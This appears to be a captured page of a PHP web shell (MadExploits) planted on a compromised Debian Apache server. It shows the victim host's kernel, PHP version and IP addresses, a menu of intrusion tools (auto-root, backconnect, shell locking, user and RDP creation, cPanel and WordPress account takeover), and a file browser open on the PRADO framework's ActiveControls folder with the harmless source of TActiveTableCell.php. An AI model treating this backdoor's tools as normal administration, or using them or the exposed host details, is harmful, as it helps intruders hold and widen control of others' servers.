Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 13.58.211.135
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
ActiveControls /
[ HOME SHELL ]
Name
Size
Permission
Action
IActiveControl.php
571
B
-rw-r--r--
ICallbackEventHandler.php
881
B
-rw-r--r--
TActiveBoundColumn.php
2.53
KB
-rw-r--r--
TActiveButton.php
4.19
KB
-rw-r--r--
TActiveButtonColumn.php
2.17
KB
-rw-r--r--
TActiveCheckBox.php
5.5
KB
-rw-r--r--
TActiveCheckBoxColumn.php
3.59
KB
-rw-r--r--
TActiveCheckBoxList.php
4.15
KB
-rw-r--r--
TActiveCheckBoxListItem.php
814
B
-rw-r--r--
TActiveClientScript.php
2.51
KB
-rw-r--r--
TActiveControlAdapter.php
4.76
KB
-rw-r--r--
TActiveCustomValidator.php
5.52
KB
-rw-r--r--
TActiveCustomValidatorClientSi...
2.33
KB
-rw-r--r--
TActiveDataGrid.php
7.38
KB
-rw-r--r--
TActiveDataGridPager.php
842
B
-rw-r--r--
TActiveDataGridPagerEventParam...
1.02
KB
-rw-r--r--
TActiveDataList.php
3.75
KB
-rw-r--r--
TActiveDatePicker.php
5.28
KB
-rw-r--r--
TActiveDatePickerClientScript....
1.28
KB
-rw-r--r--
TActiveDropDownList.php
4.26
KB
-rw-r--r--
TActiveDropDownListColumn.php
2.33
KB
-rw-r--r--
TActiveEditCommandColumn.php
2.08
KB
-rw-r--r--
TActiveFileUpload.php
16.59
KB
-rw-r--r--
TActiveFileUploadCallbackParam...
737
B
-rw-r--r--
TActiveFileUploadItem.php
1.36
KB
-rw-r--r--
TActiveHiddenField.php
1.76
KB
-rw-r--r--
TActiveHtmlArea.php
3.18
KB
-rw-r--r--
TActiveHtmlArea5.php
3.15
KB
-rw-r--r--
TActiveHyperLink.php
3.45
KB
-rw-r--r--
TActiveHyperLinkColumn.php
2.29
KB
-rw-r--r--
TActiveImage.php
3.06
KB
-rw-r--r--
TActiveImageButton.php
5.33
KB
-rw-r--r--
TActiveLabel.php
2.67
KB
-rw-r--r--
TActiveLinkButton.php
4.86
KB
-rw-r--r--
TActiveListBox.php
4.43
KB
-rw-r--r--
TActiveListControlAdapter.php
4.18
KB
-rw-r--r--
TActiveListItemCollection.php
2.88
KB
-rw-r--r--
TActiveLiteralColumn.php
2.73
KB
-rw-r--r--
TActiveMultiView.php
3.54
KB
-rw-r--r--
TActivePageAdapter.php
9.87
KB
-rw-r--r--
TActivePager.php
6.39
KB
-rw-r--r--
TActivePanel.php
2.77
KB
-rw-r--r--
TActiveRadioButton.php
5.56
KB
-rw-r--r--
TActiveRadioButtonItem.php
824
B
-rw-r--r--
TActiveRadioButtonList.php
3.84
KB
-rw-r--r--
TActiveRatingList.php
4.12
KB
-rw-r--r--
TActiveRepeater.php
4.45
KB
-rw-r--r--
TActiveTableCell.php
7.01
KB
-rw-r--r--
TActiveTableCellEventParameter...
1.77
KB
-rw-r--r--
TActiveTableRow.php
7.6
KB
-rw-r--r--
TActiveTableRowEventParameter....
1.78
KB
-rw-r--r--
TActiveTemplateColumn.php
2.56
KB
-rw-r--r--
TActiveTextBox.php
3.7
KB
-rw-r--r--
TBaseActiveCallbackControl.php
8.29
KB
-rw-r--r--
TBaseActiveControl.php
3.65
KB
-rw-r--r--
TCallback.php
2.95
KB
-rw-r--r--
TCallbackClientScript.php
24.66
KB
-rw-r--r--
TCallbackClientSide.php
8.14
KB
-rw-r--r--
TCallbackErrorHandler.php
3.53
KB
-rw-r--r--
TCallbackEventParameter.php
2.27
KB
-rw-r--r--
TCallbackOptions.php
1.26
KB
-rw-r--r--
TCallbackPageStateTracker.php
5.39
KB
-rw-r--r--
TCallbackResponseAdapter.php
2.38
KB
-rw-r--r--
TCallbackResponseWriter.php
1.67
KB
-rw-r--r--
TEventTriggeredCallback.php
2.38
KB
-rw-r--r--
TInPlaceTextBox.php
8.29
KB
-rw-r--r--
TInvalidCallbackException.php
595
B
-rw-r--r--
TMapCollectionDiff.php
874
B
-rw-r--r--
TScalarDiff.php
711
B
-rw-r--r--
TStyleDiff.php
2.35
KB
-rw-r--r--
TTimeTriggeredCallback.php
3.54
KB
-rw-r--r--
TTriggeredCallback.php
1.65
KB
-rw-r--r--
TValueTriggeredCallback.php
3.21
KB
-rw-r--r--
TViewStateDiff.php
1.07
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TActiveTableCell.php
<?php /** * TActiveTableCell class file * * @author LANDWEHR Computer und Software GmbH <programmierung@landwehr-software.de> * @link http://www.landwehr-software.de/ * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\UI\ActiveControls; /** * Includes the following used classes */ use Prado\Exceptions\TConfigurationException; use Prado\Prado; use Prado\Web\UI\WebControls\TTableCell; use Prado\Web\UI\WebControls\TTableRow; /** * TActiveTableCell class. * * TActiveTableCell is the active counterpart to the original {@link TTableCell} control * and displays a table cell. The horizontal and vertical alignments of the cell * are specified via {@link setHorizontalAlign HorizontalAlign} and * {@link setVerticalAlign VerticalAlign} properties, respectively. * * TActiveTableCell allows the contents of the table cell to be changed during callback. When * {@link onCellSelected CellSelected} property is set, selecting (clicking on) the cell will * perform a callback request causing {@link onCellSelected OnCellSelected} event to be fired. * * It will also bubble the {@link onCellSelected OnCellSelected} event up to it's parent * {@link TActiveTableRow} control which will fire up the event handlers if implemented. * * TActiveTableCell allows the client-side cell contents to be updated during a * callback response by getting a new writer, invoking the render method and flushing the * output, similar to a {@link TActivePanel} control. * <code> * function callback_request($sender, $param) * { * $this->active_cell->render($param->getNewWriter()); * } * </code> * * Please refer to the original documentation of the regular counterpart for usage. * * @author LANDWEHR Computer und Software GmbH <programmierung@landwehr-software.de> * @since 3.1.9 * @method TActiveControlAdapter getAdapter() */ class TActiveTableCell extends TTableCell implements IActiveControl, ICallbackEventHandler { /** * @var \Prado\Web\UI\WebControls\TTableRow parent row control containing the cell */ private $_row; /** * Creates a new callback control, sets the adapter to TActiveControlAdapter. */ public function __construct() { parent::__construct(); $this->setAdapter(new TActiveControlAdapter($this)); } /** * @return TBaseActiveCallbackControl standard callback control options. */ public function getActiveControl() { return $this->getAdapter()->getBaseActiveControl(); } /** * @return TCallbackClientSide client side request options. */ public function getClientSide() { return $this->getActiveControl()->getClientSide(); } /** * @return string corresponding javascript class name for this TActiveTableCell. */ protected function getClientClassName() { return 'Prado.WebUI.TActiveTableCell'; } /** * Raises the callback event. This method is required by {@link ICallbackEventHandler} * interface. It will raise {@link onCellSelected OnCellSelected} event with a * {@link TActiveTableCellEventParameter} containing the zero-based index of the * TActiveTableCell. * This method is mainly used by framework and control developers. * @param TCallbackEventParameter $param the event parameter */ public function raiseCallbackEvent($param) { $parameter = new TActiveTableCellEventParameter($this->getResponse(), $param->getCallbackParameter(), $this->getCellIndex()); $this->onCellSelected($parameter); $this->raiseBubbleEvent($this, $parameter); } /** * This method is invoked when a callback is requested. The method raises * 'OnCellSelected' event to fire up the event handlers. If you override this * method, be sure to call the parent implementation so that the event * handler can be invoked. * @param TActiveTableCellEventParameter $param event parameter to be passed to the event handlers */ public function onCellSelected($param) { $this->raiseEvent('OnCellSelected', $this, $param); } /** * Ensure that the ID attribute is rendered and registers the javascript code * for initializing the active control if the event handler for the * {@link onCellSelected OnCellSelected} event is set. * @param \Prado\Web\UI\THtmlWriter $writer the writer responsible for rendering */ protected function addAttributesToRender($writer) { parent::addAttributesToRender($writer); $writer->addAttribute('id', $this->getClientID()); if ($this->hasEventHandler('OnCellSelected')) { $this->getActiveControl()->registerCallbackClientScript($this->getClientClassName(), $this->getPostBackOptions()); } } /** * Renders and replaces the cell's content on the client-side. When render() is * called before the OnPreRender event, such as when render() is called during * a callback event handler, the rendering is defered until OnPreRender event * is raised. * @param \Prado\Web\UI\THtmlWriter $writer html writer */ public function render($writer) { if ($this->getHasPreRendered()) { parent::render($writer); if ($this->getActiveControl()->canUpdateClientSide()) { $this->getPage()->getCallbackClient()->replaceContent($this, $writer); } } else { $this->getPage()->getAdapter()->registerControlToRender($this, $writer); // If we update a TActiveTableCell on callback, we shouldn't update all childs, // because the whole content will be replaced by the parent. if ($this->getHasControls()) { foreach ($this->findControlsByType('Prado\Web\UI\ActiveControls\IActiveControl', false) as $control) { $control->getActiveControl()->setEnableUpdate(false); } } } } /** * Returns postback specifications for the table cell. * This method is used by framework and control developers. * @return array parameters about how the row defines its postback behavior. */ protected function getPostBackOptions() { $options['ID'] = $this->getClientID(); $options['EventTarget'] = $this->getUniqueID(); return $options; } /** * Returns the zero-based index of the TActiveTableCell within the {@link TTableCellCollection} * of the parent {@link TTableRow} control. Raises a {@link TConfigurationException} if the cell * is no member of the cell collection. * @return int the zero-based index of the cell */ public function getCellIndex() { foreach ($this->getRow()->getCells() as $key => $row) { if ($row == $this) { return $key; } } throw new TConfigurationException('tactivetablecell_control_notincollection', get_class($this), $this->getUniqueID()); } /** * Returns the parent {@link TTableRow} control by looping through all parents until a {@link TTableRow} * is found. Raises a {@link TConfigurationException} if no row control is found. * @return TTableRow the parent row control */ public function getRow() { if ($this->_row === null) { $row = $this->getParent(); while (!($row instanceof TTableRow) && $row !== null) { $row = $row->getParent(); } if ($row instanceof TTableRow) { $this->_row = $row; } else { throw new TConfigurationException('tactivetablecell_control_outoftable', get_class($this), $this->getUniqueID()); } } return $this->_row; } }
Close